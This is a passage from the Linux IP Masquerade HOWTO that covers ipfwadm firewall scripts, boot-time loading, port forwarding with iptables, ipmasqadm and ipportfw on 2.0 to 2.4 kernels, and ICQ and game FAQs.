#  is where the NATing will occur and the internal network
#  should preferably be addressed with a RFC1918 private addressing
#  scheme.
#
#  For this example, "eth0" is external and "eth1" is internal"
#
#  NOTE:  If this doesnt EXACTLY fit your configuration, you must
#         change the EXTIF or INTIF variables above. For example:
#
#               EXTIF="ppp0"
#
#            if you are a modem user.
#
#  ** Please change this to reflect your specific configuration **
#
EXTIF="eth0"
INTIF="eth1"
echo "   External Interface:  $EXTIF"
echo "   Internal Interface:  $INTIF"

# Network Address of the Internal Network
#
#   This example rc.firewall file uses the 192.168.0.0 network
#   with a /24 or 255.255.255.0 netmask.
#
#    ** Change this variable to reflect your specific setup **
#
INTLAN="192.168.0.0/24"
echo -e "   Internal Interface:  $INTLAN\n"

# Load all required IP MASQ modules
#
#   NOTE:  Only load the IP MASQ modules you need.  All current available IP
#          MASQ modules are shown below but are commented out from loading.
echo -en "Loading modules: "

# Needed to initially load modules
#
/sbin/depmod -a

# Supports the proper masquerading of FTP file transfers using the PORT method
#
echo -en "FTP, "
/sbin/modprobe ip_masq_ftp

# Supports the masquerading of RealAudio over UDP.  Without this module,
#	RealAudio WILL function but in TCP mode.  This can cause a reduction
#	in sound quality
#
#echo -en "RealAudio, "
#/sbin/modprobe ip_masq_raudio

# Supports the masquerading of IRC DCC file transfers
#
#echo -en "Irc, "
#/sbin/modprobe ip_masq_irc

# Supports the masquerading of Quake and QuakeWorld by default.  These modules
#   are for multiple users behind the Linux MASQ server.  If you are going to
#   play Quake I, II, and III, use the second example.
#
#   NOTE:  If you get ERRORs loading the QUAKE module, you are running an old
#   -----  kernel that has bugs in it.  Please upgrade to the newest kernel.
#
#echo -en "Quake, "
#Quake I / QuakeWorld (ports 26000 and 27000)
#/sbin/modprobe ip_masq_quake
#
#Quake I/II/III / QuakeWorld (ports 26000, 27000, 27910, 27960)
#/sbin/modprobe ip_masq_quake 26000,27000,27910,27960

# Supports the masquerading of the CuSeeme video conferencing software
#
#echo -en "CuSeeme, "
#/sbin/modprobe ip_masq_cuseeme

#Supports the masquerading of the VDO-live video conferencing software
#
#echo -en "VdoLive, "
#/sbin/modprobe ip_masq_vdolive

echo ".  Done loading modules."

#CRITICAL:  Enable IP forwarding since it is disabled by default
#
#           Redhat Users:  you may try changing the options in
#                          /etc/sysconfig/network from:
#
#                       FORWARD_IPV4=false
#                             to
#                       FORWARD_IPV4=true
#
echo "   enabling forwarding.."
echo "1" > /proc/sys/net/ipv4/ip_forward

#CRITICAL:  Enable automatic IP defragmenting since it is disabled by default
#
#           This used to be a compile-time option but the behavior was changed
#           in 2.2.12.  This option is required for both 2.0 and 2.2 kernels.
#
echo "   enabling AlwaysDefrag.."
echo "1" > /proc/sys/net/ipv4/ip_always_defrag

# Dynamic IP users:
#
#   If you get your Internet IP address dynamically from SLIP, PPP, or DHCP,
#   enable the following option.  This enables dynamic-ip address hacking in
#   IP MASQ, making the life with DialD, PPPd, and similar programs much easier.
#
#echo "   enabling DynamicAddr.."
#echo "1" > /proc/sys/net/ipv4/ip_dynaddr

#Clearing any previous configuration
#
#  Unless specified, the defaults for INPUT and OUTPUT is ACCEPT
#    The default for FORWARD is REJECT
#
echo "   clearing any existing rules and setting default policy.."
/sbin/ipfwadm -I -p accept
/sbin/ipfwadm -O -p accept
/sbin/ipfwadm -F -p reject
/sbin/ipfwadm -I -f
/sbin/ipfwadm -O -f
/sbin/ipfwadm -F -f

# MASQ timeouts
#
#   2 hrs timeout for TCP session timeouts
#  10 sec timeout for traffic after the TCP/IP "FIN" packet is received
#  160 sec timeout for UDP traffic (Important for MASQ'ed ICQ users)
#
echo "   setting default timers.."
/sbin/ipfwadm -M -s 7200 10 160

# DHCP:  For people who receive their external IP address from either DHCP or
#        BOOTP such as ADSL or Cablemodem users, it is necessary to use the
#        following before the deny command.
#
#        This example is currently commented out.
#
#
#/sbin/ipfwadm -I -a accept -S 0/0 67 -D 0/0 68 -W $EXTIF -P udp

# Enable simple IP forwarding and Masquerading
#
#  NOTE:  The following is an example for an internal LAN address in the
#         192.168.0.x network with a 255.255.255.0 or a "24" bit subnet mask
#         connecting to the Internet on interface eth0.
#
#         ** Please change this network number, subnet mask, and your Internet
#         ** connection interface name to match your internal LAN setup.
#
echo "   enabling IPMASQ functionality on $EXTIF"
/sbin/ipfwadm -F -p deny
/sbin/ipfwadm -F -a m -W $EXTIF -S $INTLAN -D 0.0.0.0/0

echo -e "\nrc.firewall-2.0 v$FWVER done.\n"
<rc.firewall-2.0 STOP>

Once you are finished with editing the /etc/rc.d/rc.firewall ruleset, make it executable by typing in "chmod 700 /etc/rc.d/rc.firewall"

Now that the firewall ruleset is ready to go, you need to let it run after every reboot. You could either do this by running it by hand everytime (such a pain) or add it to the boot scripts. We have covered two methods below:

Redhat and Redhat-derived distros:

  • There are two ways to automatically load things in Redhat: /etc/rc.d/rc.local or a init script in /etc/rc.d/init.d/. The first method is the easiest. All you have to do is add the line:

    echo "Loading the rc.firewall ruleset.."

/etc/rc.d/rc.firewall

    The problem with this approach is that the firewall isn't executed until the last stages of booting. The preferred approach is to have the firewall loaded just after the networking subsystem is loaded. To do this, copy the following file into the /etc/rc.d/init.d directory:

    <firewall-2.0 START>
    #!/bin/sh
#
# chkconfig: 2345 11 89
#
# description: Loads the rc.firewall-2.0 ruleset.
#
# processname: firewall-2.0
# pidfile: /var/run/firewall.pid
# config: /etc/rc.d/rc.firewall
# probe: true

# ----------------------------------------------------------------------------
# v02/09/02
#
# Part of the copyrighted and trademarked TrinityOS document.
# http://www.ecst.csuchico.edu/~dranch
#
# Written and Maintained by David A. Ranch
# dranch@trinnet.net
#
# Updates
# -------
#
# ----------------------------------------------------------------------------

# Source function library.
. /etc/rc.d/init.d/functions

# Check that networking is up.

# This line no longer work with bash2
#[ ${NETWORKING} = "no" ] && exit 0
# This should be OK.
[ "XXXX${NETWORKING}" = "XXXXno" ] && exit 0

[ -x /sbin/ifconfig ] || exit 0

# The location of various iptables and other shell programs
#
#   If your Linux distribution came with a copy of iptables, most
#   likely it is located in /sbin.  If you manually compiled
#   iptables, the default location is in /usr/local/sbin
#
# ** Please use the "whereis iptables" command to figure out
# ** where your copy is and change the path below to reflect
# ** your setup
#
IPFWADM=/sbin/ipfwadm

# See how we were called.
case "$1" in
  start)
    /etc/rc.d/rc.firewall-2.0
    ;;

  stop)
    echo -e "\nFlushing firewall and setting default policies to REJECT\n"

    $IPFWADM -I -p REJECT
    $IPFWADM -O -p REJECT
    $IPFWADM -F -p REJECT

    $IPFWADM -I -f
    $IPFWADM -O -f
    $IPFWADM -F -f
    ;;

  restart)
    $0 stop
    $0 start
    ;;

  status)
    $IPFWADM -l
    ;;

  mlist)
    $IPFWADM -M -l
    ;;

  *)
    echo "Usage: firewall-2.0 {start|stop|status|mlist}"
    exit 1
esac

exit 0
    <firewall-2.0 STOP>

    With this script in place, run the command:
    chkconfig --level=345 firewall-2.0 on
    That's it! Now upon boot, the firewall will be loaded automatically.

Slackware:

  • There are two ways to automatically load things in Slackware: /etc/rc.d/rc.local or editing the /etc/rc.d/rc.inet2 file. The first method is the easiest. All you have to do is add the line:

    echo "Loading the rc.firewall ruleset.."

/etc/rc.d/rc.firewall-2.0

    to the end of the /etc/rc.d/rc.local file and thats it. The problem with this approach is that if you are running a STRONG firewall ruleset, the firewall isn' t executed until the last stages of booting. The preferred approach is to have the firewall loaded just after the networking subsystem is loaded. For now, the HOWTO only covers how to do so using /etc/rc.d/rc.local. If you want the strong er system, I recommend you check out Section 10 of TrinityOS found in the links section at the bottom of this HOWTO.

Notes on how users might want to change the above firewall ruleset:

You could have also enabled IP Masquerading on a PER MACHINE basis instead of the above method enabling an ENTIRE TCP/IP network. For example, say if I wanted only the 192.168.0.2 and 192.168.0.8 hosts to have access to the Internet and NOT any of the other internal machines. I would change the in the "Enable simple IP forwarding and Masquerading" section (shown above) of the /etc/rc.d/rc.firewall ruleset.

# Enable simple IP forwarding and Masquerading
# v2.01
#
#  NOTE:  The following is an example to only allow IP Masquerading for the
#         192.168.0.2 and 192.168.0.8 machines with a 255.255.255.0 or a "24"
#         bit subnet mask connected to the Internet on interface eth0.
#
#         ** Please change this network number, subnet mask, and your Internet
#         ** connection interface name to match your internal LAN setup
#
#         Please use the following in ADDITION to the simple rulesets above for
#         specific MASQ networks.
#
/sbin/ipfwadm -F -p deny
/sbin/ipfwadm -F -a m -W $EXTIF -S 192.168.0.2/32 -D 0.0.0.0/0
/sbin/ipfwadm -F -a m -W $EXTIF -S 192.168.0.8/32 -D 0.0.0.0/0

Common mistakes:

What appears to be a common mistake with new IP Masq users is to make the first command:

ipfwadm -F -p masquerade

Do NOT make your default policy MASQUERADING. Otherwise, someone who has the ability to manipulate their routing tables will be able to tunnel straight back through your gateway, using it to masquerade their OWN identity!

Again, you can add these lines to the /etc/rc.d/rc.firewall file, one of the other rc files (if you prefer), or manually add those lines every time you need IP Masquerade.

Please see Section 6.4.2 and Section 6.4.3for a detailed guide and stronger examples of IPCHAINS and IPFWADM ruleset examples.

Prev | Home | Next
Assigning Private Network IP Addresses to the Internal LAN | Up | Configuring the other internal to-be MASQed machines


IPPORTFW, IPMASQADM, IPAUTOFW, REDIR, UDPRED, and other Port Forwarding tools

Linux IP Masquerade HOWTO
Prev Chapter 6. Other IP Masquerade Issues and Software Support Next

6.7. IPPORTFW, IPMASQADM, IPAUTOFW, REDIR, UDPRED, and other Port Forwarding tools

IPPORTFW, IPAUTOFW, REDIR, UDPRED, and other programs are generic TCP and/or UDP port forwarding tools for Linux IP Masquerade (for < 2.4 kernels). These tools are typically used with or as a replacement for specific IP MASQ modules to get a specific network traffic through the MASQ server.

With port forwarders, you can redirect data connections from the Internet to an internal, privately addressed machine behind your IP MASQ server. This forwarding ability includes network protocols such as TELNET, WWW, SMTP, FTP (with a special patch - see below), ICQ, and many others.

NOTE: If you are just looking to do simple port forwarding without IP Masquerading support, you will STILL NEED to enable IP Masquerading in the kernel AND either run a IPTABLES, IPCHAINS, or IPFWADM ruleset to be able to use Linux's port forwarding tools.

So why all the different choices? MARK (MFW), IPMASQADM (PORTFW or AUTOFW), IPPORTFW, IPAUTOFW, REDIR, and UDPRED (all URLs are in Section 3.2.3) were the various tools available to IP MASQ users to allow this type of functionality. Later, as the Linux IP Masquerade feature matured, many of these tools were eventually replaced by the PORTFW and MARK systems which are more intelligent solutions.

In recent 2.2.x kernels, the IPMASQADM tool combined the IPAUTOFW and IPPORTFW 2.0.x kernel tools into one binary. Both the IPMASQADM tool and IPTABLES also supports a new mechanism called "MARK" or MFW. The MARK system works where a specific IPTABLES or IPCHAINS ruleset would match a given packet sequence. Once matched, the tool would "mark" these packets. Later, the IPMASQADM tool or a specific IPTABLE "table" could be instructed to change these packets as needed and forward them off to their desired destination. Currently, this HOWTO doesn't cover the MARK solution but it will in the near future.

Anyway, because of the availablity of the newer tools, it is *HIGHLY DISCOURAGED* to use the old tools such as IPAUTOFW (even AUTOFW in IPMASQADM) and REDIR because they don't properly notify the Linux kernel of their presence and can ultimately CRASH your Linux server with extreme use.

NOTE #2: With enabling PORTFW functionality in ANY 2.2.x or 2.0.x Linux kernel, internal machines typically CANNOT use the same "external" PORTFWed IP address to access an internal" machine. This feature was only intended to be used with "external" computers on the Internet. If limitation this is an issue for you, you can implement the REDIR tool in addition to the specific PORTFW tool to let internal machines get redirected to the internal servers too. One good thing to note is that IPTABLES for the 2.4.x kernels now solves this issue once and for all. If you would like a technical explination on why this internal/external forwarding doesn't work, please page down towards the bottom of the 2.2.x PORTFW section for a note from Juan Jose Ciarlante.

NOTE #3: The forwarding of FTP server traffic to an internal MASQed FTP server, known as PORTFW FTP, is now full ysupported in the 2.4.x kernels as well as in the 2.2.x kernels via a BETA version FTP kernel module (does NOT come with the stock Linus kernels). It should also be noted that you can also PORTFW FTP traffic using an external FTP proxy program (not covered in this HOWTO). It should be noted that the Beta 2.2.x FTP kernel module code is still experimental and some people get better results simply using ACTIVE FTP sessions compared to PASSIVE connections. Interestingly enough, other people have seen the exact opposite behavior. Please let us know what your results are like. More about this is covered below in both the 2.2.x and 2.0.x sections as the solutions require the use of different patches.

WARNING! Before jumping right into installing ANY of these tools, it needs to be mentioned that network security can be an issue with ANY PORT FORWARD tool. The reason for this is because these tools basically create a hole in strong packet firewalls for the required TCP/UDP ports. Though this doesn't pose any threat to your Linux machine, it might be an issue to the PORTFW'ed internal machine(s). No worries though, this is what Steven Clarke (the author of IPPORTFW) had to say about that:

   "Port Forwarding is only called within masquerading functions so it
   fits inside the same IPFWADM/IPCHAINS rules. Masquerading is an extension to
   IP forwarding. Therefore, ipportfw only sees a packet if it fits
   both the input and masquerading ipfwadm rule sets."

What that means in English is that if you have a strong packet firewall running, PORTFW doesn't directly bypass any of that security. You will still be able to allow or deny specific IPs and/or domains to this new PORTFW'ed resource if you so wish.

With this said, it's important to have a strong firewall ruleset. Please see Section 6.4.1, Section 6.4.2, and Section 6.4.3 for more details on getting strong rulesets.

2.4.x kernels users should be ready to go for PORTFW functionality. 2.2.x and 2.0.x kernel kernel users will need to re-compile the Linux kernel to support PORTFW. It should be noted that some Linux distribution kernels might have this already done for you.

  • Modern 2.2.x kernel users will already have the PORTFW kernel option available to them via the normal kernel "make" procedures.

  • 2.0.x users will need to apply a simple kernel option patch to have access to then enable this via the normal kernel "make" procedures.

6.7.1. 2.4.x PORTFWD'ing: Using IPTABLE's PREROUTING option for 2.4.x kernels

Unlike ALL previous Linux kernels, the 2.4.x series now allows for full PORTFW, PORTFW FTP, and PORTFW REDIR functionality within the "iptables" tool itself.

NOTE: Once you enable a port forwarder on say port 80 (forward WWW traffic through the MASQ server to an internal WWW server), that port will no longer be used by the Linux IP Masquerade server itself. To be more specific, if you have a WWW server already running on the MASQ server, enabling PORTFW will now give all Internet users acces to the WWW pages from the -INTERNAL- WWW server and not the pages on your IP MASQ server.

To enable port forwarding on a 2.4.x kernel, edit the /etc/rc.d/rc.firewall-2.4 ruleset. Add the follow lines but be sure to replace the word "$EXTIP" with your specific Internet IP address.

NOTE: If you use get a DYNAMIC TCP/IP address from your ISP (PPP, ADSL, Cablemodems, etc.), you will NEED to make your /etc/rc.d/rc.firewall ruleset more intelligent. To do this, please see Section 6.4.2 from above or TrinityOS - Section 10 for more details on strong rulesets and Dynamic IP addresses. I'll give you a hint though: /etc/ppp/ip-up for PPP users.

/etc/rc.d/rc.firewall
#echo "Enabling PORTFW Redirection on the external LAN.."
#
#   This will forward ALL port 80 traffic from the external IP address
#   to port 80 on the 192.168.0.10 machine
#
#   Be SURE that when you add these new rules to your rc.firewall, you
#   add them before a direct or implict DROP or REJECT.
#
PORTFWIP="192.168.0.10"

$IPTABLES -A FORWARD -i $EXTIF -o $INTIF -p tcp --dport 80 -m state \
--state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -A PREROUTING -t nat -p tcp -d $EXTIP --dport 80 \
-j DNAT --to $PORTFWIP:80

That's it! Just re-run your /etc/rc.d/rc.firewall-2.4 ruleset and test it out!

PORTFW FTP: If you have the "ip_conntrack_ftp" and "ip_nat_ftp" kernel modules loaded into kernel space (as already done in the rc.firewall-2.4 script), the simple PREROUTING command like the one shown above changed for for port "21" should do the trick. Much easier than the old 2.2.x / 2.0.x ways!

Please note, if you PORTFW to an internal FTP server that is running on, say port 8021 and NOT running on port 21, you MUST tell the "ip_conntrack_ftp" module about the new port. To do this, edit your rc.firewall file and change the loading of the FTP module to look something like this:
/sbin/insmod ip_conntrack_ftp ports=21,8021

In the past, if users PORTFWed port 80 on their EXTERNAL IP to some internal machine, only machines on the Internet would work properly. If you tried to do this from an internal machine, it would fail. Fortunately, there is a workaround for 2.2.x and 2.0.x kernels using the REDIR tool. Fortunately, this is NOT required anymore for the 2.4.x kernels. To fix this, add a line like the following ABOVE the "Catch all" FORWARDing rule in the rc.firewall file. This example will REDIRECT internal WWW traffic to the 192.168.0.2 internal machine (please change this IP address to reflect your configuration):
$IPTABLES -t nat -A PREROUTING -d $EXTIP -p tcp --dport 80 \
-m state --state NEW,ESTABLISHED,RELATED -j DNAT --to 192.168.0.2

6.7.2. 2.2.x PORTFWD'ing: Using IPMASQADM with 2.2.x kernels

First, make sure you have the newest 2.2.x kernel uncompressed into /usr/src/kernel/linux. If you haven't already done this, please see Section 3.2.2 section for full details. Next, download the "ipmasqadm.c" program from Section 2.7 into the /usr/src/kernel directory.

Next, you'll need to compile the 2.2.x kernel as shown in Section 3.2.2 section. Be sure to say "YES" to the IPPORTFW option when you configure the kernel. Once the kernel compile is complete and you have rebooted, return to this section.

Now, compile and install the IPMASQADM tool:

        cd /usr/src
        tar xzvf ipmasqadm-x.tgz
        cd ipmasqadm-x
        make
        make install

Now, for this example, we are going to allow ALL WWW Internet traffic (port 80) hitting your Internet TCP/IP address to be forwarded to the internal Masqueraded machine at IP address 192.168.0.10.

PORTFW FTP: As mentioned above, there are two solutions for forwarding FTP server traffic to an internal MASQed PC. The first solution *IS* a BETA level IP_MASQ_FTP module for 2.2.x kernels to PORT Forward FTP connections to an internal MASQed FTP server. The other method is using a FTP proxy program (the URL is in Section 2.7. It should also be noted that the FTP kernel module also supports the adding of additional PORTFW FTP ports on the fly without the requirement of unloading and reloading the IP_MASQ_FTP module and thus breaking any existing FTP transfers. You can find more about this new code at the IPMASQ WWW site at http://ipmasq.cjb.net;. There are also examples and some additional information about PORTFWed FTP connection below in the 2.0.x. kernel section.

NOTE: Once you enable a port forwarder on port 80, that port can no longer be used by the Linux IP Masquerade server. To be more specific, if you have a WWW server already running on the MASQ server, a port forward will now give all Internet users the WWW pages from the -INTERNAL- WWW server and not the pages on your IP MASQ server.

Anyway, to enable port forwarding, edit the /etc/rc.d/rc.firewall ruleset. Add the follow lines but be sure to replace the word "$extip" with your Internet IP address.

NOTE: If you use get a DYNAMIC TCP/IP address from your ISP (PPP, ADSL, Cablemodems, etc.), you will NEED to make your /etc/rc.d/rc.firewall ruleset more intelligent. To do this, please see Section 6.4.2 from above or TrinityOS - Section 10 for more details on strong rulesets and Dynamic IP addresses. I'll give you a hint though: /etc/ppp/ip-up for PPP users.

/etc/rc.d/rc.firewall
#echo "Enabling IPPORTFW Redirection on the external LAN.."
#
#   This will forward ALL port 80 traffic from the external IP address
#   to port 80 on the 192.168.0.10 machine
#
/usr/sbin/ipmasqadm portfw -f
/usr/sbin/ipmasqadm portfw -a -P tcp -L $extip 80 -R 192.168.0.10 80

That's it! Just re-run your /etc/rc.d/rc.firewall ruleset and test it out!

If you get the error message "ipchains: setsockopt failed: Protocol not available", you AREN'T running your new IPPORTFW enabled kernel. Make sure that you moved the new kernel over, re-run LILO, and then reboot again. If you are sure you are running your new kernel, run the command "ls /proc/net/ip_masq" and make sure the "portfw" file exists. If it doesn't, you must have made an error when configuring your kernel. Try again.

For those who want to understand why PORTFW cannot redirect traffic for both external and internal interfaces (the REDIR situation), here is an email from Juanjo that better explains it:

From Juanjo Ciarlante
--

>If I use:
>
> ipmasqadm portfw -a -P tcp  -L 1.2.3.4 80 -R 192.168.2.3 80
>
>Everything works great from the outside but internal requests for the same
>1.2.3.4 address fail. Are there chains that will allow a machine on localnet
>192.168.2.0 to accesss www.periapt.com without using a proxy?

Actually not.

I usually setup a ipmasqadm rule for outside, *AND* a port
redirector for inside. This works because ipmasqadm hooks before
redir will get the eventual outside connection, _but_ leaves things
ok if not (stated by APPROPIATE rules).

The actual "conceptual" problem comes from the TRUE client (peer) IP
goal (thanks to masq) being in the same net as target server.

The failing scenario for "local masq" is :
   client: 192.168.2.100
   masq:   192.168.2.1
   serv:   192.168.2.10

1)client->server packet
 a) client:  192.168.2.100:1025  -> 192.168.2.1:80   [SYN]
 b) (masq):  192.168.2.100:1025  -> 192.168.2.10:80  [SYN]
            (and keep  192.168.2.1:61000 192.168.2.100:1025 related)
 c) serv:    gets masqed packet (1b)

2)server->client packet
 a) serv:    192.168.2.10:80     -> 192.168.2.100:1025  [SYN,ACK]
 b) client:  192.168.2.100:1025  -> 192.168.2.10:80     [RST]

Now take a moment to compare (1a) with (2a).
You see, the server replied DIRECTLY to client bypassing masq (not
letting masq to UNDO the packet hacking) because it is in SAME net, so
the client resets the connection.

hope I helped.

Warm regards
Juanjo

6.7.3. 2.0.x PORTFWD'ing: Using IPPORTFW on 2.0.x kernels

First, make sure you have the newest 2.0.x kernel uncompressed into /usr/src/kernel. If you haven't already done this, please see Section 3.2.3 for full details. Next, download the "ipportfw.c" program and the "subs-patch-x.gz" kernel patch from Section 3.2.3 into the /usr/src/ directory.

NOTE: Please replace the "x" in the "subs-patch-x.gz" file name with the most current version available on the site.

Next, if you plan on port forwarding FTP traffic to an internal server, you will have to apply an additional NEW IP_MASQ_FTP module patch found in Section 3.2.3. More details regarding this are later in this section. Please note that this is NOT the same patch as for the 2.2.x kernels so some functionality such as the dynamic FTP PORT functionality is not present.

Now, copy the IPPORTFW patch (subs-patch-x.gz) into the Linux directory
        cp /usr/src/subs-patch-1.37.gz /usr/src/linux

Next, apply the kernel patch to create the IPPORTFW kernel option:
        cd /usr/src/linux
        zcat subs-patch-1.3x.gz | patch -p1

Ok, time to compile the kernel as shown in Section 3.2.3. Be sure to say YES to the IPPORTFW option now available when you configure the kernel. Once the compile is complete and you have rebooted, return to this section.

Now with a newly compiled kernel, please compile and install the actual "IPPORTFW" program
        cd /usr/src
        gcc ipportfw.c -o ipportfw
        mv ipportfw /usr/local/sbin

Now, for this example, we are going to allow ALL WWW Internet traffic (port 80) hitting your Internet TCP/IP address to then be forwarded to the internal Masqueraded machine at IP address 192.168.0.10.

NOTE: Once you enable a port forwarder on port 80, that port can no longer be used by the Linux IP Masquerade server. To be more specific, if you have a WWW server already running on the MASQ server and then you port forward port 80 to an internal MASQed computer, ALL internet users will see the WWW pages pages from the -INTERNAL- WWW server and not the pages on your IP MASQ server. This only performs a port forward to some other port, say 8080, to your internal MASQ machine. Though this will work, all Internet users will have to append :8080 to the URL to then contact the internal MASQed WWW server.

Anyway, to enable port forwarding, edit the /etc/rc.d/rc.firewall ruleset. Add the follow lines but be sure to replace the word "$extip" with your Internet IP address.

NOTE: If you use get a DYNAMIC TCP/IP address from your ISP (PPP, ADSL, Cablemodems, etc.), you will NEED to make your /etc/rc.d/rc.firewall ruleset more intelligent. To do this, please see Section 6.4.2from above or TrinityOS - Section 10 for more details on strong rulesets and Dynamic IP addresses. I'll give you a hint though: /etc/ppp/ip-up for PPP users.

/etc/rc.d/rc.firewall
#echo "Enabling IPPORTFW Redirection on the external LAN.."
#
#   This will forward ALL port 80 traffic from the external IP address
#   to port 80 on the 192.168.0.10 machine
#
/usr/local/sbin/ipportfw -C
/usr/local/sbin/ipportfw -A -t$extip/80 -R 192.168.0.10/80

That's it! Just re-run your /etc/rc.d/rc.firewall ruleset and test it out!

If you get the error message "ipfwadm: setsockopt failed: Protocol not available", you AREN'T running your new kernel. Make sure that you moved the new kernel over, re-run LILO, and then reboot again.

Port Forwarding FTP servers:

If you plan on port forwarding FTP to an internal machine, things get more complicated. The reason for this is because the standard IP_MASQ_FTP kernel module wasn't written for this though some users report that it works without any problems. Personally, without the patch, I've heard that extended file transfers in excess of 30 minutes will fail without the patch while other users swear that it works flawlessly. Anyway, I recommend that you try the following PORTFW instruction with the STOCK ip_masq_ftp module and see if it works for you. If it doesn't, try using the modified ip_masq_ftp module.

For those who need the module, Fred Viles wrote a modified IP_MASQ_FTP module to make things work. If you are curious what EXACTLY are the issues, download the following archive since Fred documents it quite well. Also understand that this patch is somewhat experimental and should be treated as such. It should be noted that this patch is ONLY available for the 2.0.x kernels though there is a different patch available for 2.2.x kernels.

So, to get the 2.0.x patch working, you need to:

  • FIRST, apply the IPPORTFW kernel patch as shown earlier in this section.

  • Download the "msqsrv-patch-36" from Fred Viles's FTP server in Section 3.2.3and put it into /usr/src/linux.

  • Patch the kernel with this new code by running "cat msqsrv-patch-36 | patch -p1"

  • Next, replace the original "ip_masq_ftp.c" kernel module with the new one

    mv /usr/src/linux/net/ipv4/ip_masq_ftp.c /usr/src/linux/net/ipv4/ip_masq_ftp.c.orig

    mv /usr/src/linux/ip_masq_ftp.c /usr/src/linux/net/ipv4/ip_masq_ftp.c

  • Lastly, build and install the kernel with this new code in place.

Once this is complete, edit the /etc/rc.d/rc.firewall ruleset and add the following lines, but be sure to replace the word "$extip" with your Internet IP address.

This example, like the one above, will allow ALL FTP Internet traffic (port 21) hitting your Internet TCP/IP address to then be forwarded to the internal Masqueraded machine at IP address 192.168.0.10.

NOTE: Once you enable a port forwarder on port 21, that port can no longer be used by the Linux IP Masquerade server. To be more specific, if you have an FTP server already running on the MASQ server, a port forward will now give all Internet users the FTP files from the -INTERNAL- FTP server and not the files on your IP MASQ server.

/etc/rc.d/rc.firewall
#echo "Enabling IPPORTFW Redirection on the external LAN.."
#
/usr/local/sbin/ipportfw -C
/usr/local/sbin/ipportfw -A -t$extip/21 -R 192.168.0.10/21

#NOTE: If you are using multiple local port numbers to PORTFW
#      to multuple internal FTP servers (say, 21, 2121, 2112,
#      etc, you need to configure the ip_masq_ftp nodule to
#      listen to these ports.  To do this, edit the
#      /etc/rc.d/rc.firewall script as shown in this HOWTO
#      to look like:
#
# /sbin/modprobe ip_masq_ftp ports=21,2121,2112
#
# Re-run the /etc/rc.d/rc.firewall script for these changes to
# take effect.

#Please note that PORTFWing port 20 is probably NOT required
#  for ACTIVE connections as the internal FTP server will
#  initiate this port 20 connection and it will be properly
#  handled by the classic MASQ mechanisms.

That's it! Just re-run your /etc/rc.d/rc.firewall ruleset and test it out!

Prev | Home | Next
IP Masquerade and Dial-on-Demand Connections | Up | CU-SeeMe and Linux IP-Masquerade


( Games ) - I want to get the XYZ network game to work through IP MASQ but it won't work. Help!

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.33. ( Games ) - I want to get the XYZ network game to work through IP MASQ but it won't work. Help!

First, check Steve Grevemeyer's MASQ Applications page. If your solution isn't listed there, try patching your Linux kernel with Glenn Lamb's LooseUDP patch which is covered in Section 6.10 above. Also check out Dan Kegel's NAT Page for more information.

If you are technically inclined, use the program "tcpdump" and sniff your network. Try to find out what protocols and port numbers your XYZ game is using. With this information in hand, subscribe to the IP Masq email list and email your results for help.

Prev | Home | Next
( VPNs ) - I would like to get Microsoft PPTP (GRE tunnels) and/or IPSEC (Linux SWAN) tunnels running through IP MASQ | Up | ( Stops working ) - IP MASQ works fine for a while but then it stops working. A reboot seems to fix this. Why?


( GUI ) - Are there any GUI firewall creation/management tools?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.7. ( GUI ) - Are there any GUI firewall creation/management tools?

Yes! They vary in the type of user interface, complexity, etc. but they are quite good though most are only for the IPFWADM tool so far. Here is a short list of available tools in alphabetical order. If you know of any others or have any thoughts on which ones are good/bad/ugly, please email David.

  • John Hardin's IPFWADM Dot file generator - a IPCHAINS version is in the works

  • Sonny Parlin's fBuilder: From the author of FWCONFIG, this new solution is fully WWW based and offers redundancy options, etc for both IPCHAINS and NetFilter.

  • William Stearns's Mason - A Build-a-ruleset on-the-fly type system

Prev | Home | Next
( NAT vs. Proxy ) - How does IP Masquerade differ from Proxy or NAT services? | Up | ( MASQ and Dynamic IPs ) - Does IP Masquerade work with dynamically assigned IP addresses?


Mirabilis ICQ

Linux IP Masquerade HOWTO
Prev Chapter 6. Other IP Masquerade Issues and Software Support Next

6.9. Mirabilis ICQ

There are three methods of getting ICQ to work behind a Linux MASQ server. These solutions include the use the ICQ Masq module (for 2.2.x and 2.0.x kernels), using IPPORTFW for basic ICQ functionality, or setting up a SOCKS proxy server.

MODULE: The ICQ module was written for the older generation of ICQ clients for both the 2.2.x and 2.0.x kernels. This module allows for the simple setup of multiple ICQ users behind a MASQ server. It also doesn't require any special changes to the ICQ client(s). Recently, AOL changed the protocol and ports used for ICQ. Because of this, many users might find that the ip_masq_icq module will no longer help them. For users of the older ICQ clients, the 2.2.x version of the module supports file transfer and read-time chat. The 2.0.x kernel module doesn't support file transfers and there is no module available for the 2.4.x kernels.

PORTFW: Your next option is to use port forwarding. With port forwarding, basic ICQ chat will work but file transfers might not be very reliable. Please see below for an example of how to configure ICQ PORTFW.

SOCKS: Finally, your last and possibly best option is to setup a SOCKS proxy server on your Linux machine. This service can happily co-exist with the MASQ service and ICQ should be fully functional regardless of what Linux kernel version you are running. The use of a SOCKS server will require ALL ICQ clients to be reconfigured to use it and the installation and configuration of a SOCKS server has nothing to do with IP Masquerade. Because of this, SOCKS is not covered in this HOWTO.

If you are interested in Andrew Deryabin's djsf@usa.net ICQ IP Masq module for the 2.2.x and 2.0.x kernels, please see Section 2.7 for details.

To use port forwarding (PORFW)for ICQ, you will have to make some changes on both Linux and ICQ clients but all ICQ messaging, URLs, chat, and some file transfers should work.

  • First, you need to be running a Linux kernel with IPPPORTFW enabled. Please see Section 6.7for more details.

  • Next, you need to add the following lines to your /etc/rc.d/rc.firewall file. This example assumes that 10.1.2.3 is your external Internet IP address and your internal MASQed ICQ machine is 192.168.0.10:

  • The following example is for a 2.2.x kernel with IPCHAINS:

    I have included two examples here for the user: Either one would work fine:

    Example #1
    /usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2000 -R 192.168.0.10 2000
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2001 -R 192.168.0.10 2001
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2002 -R 192.168.0.10 2002
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2003 -R 192.168.0.10 2003
/usr/local/sbin/ipmasqadm portfw -a -P tcp -L 10.1.2.3 2004 -R 192.168.0.10 2004
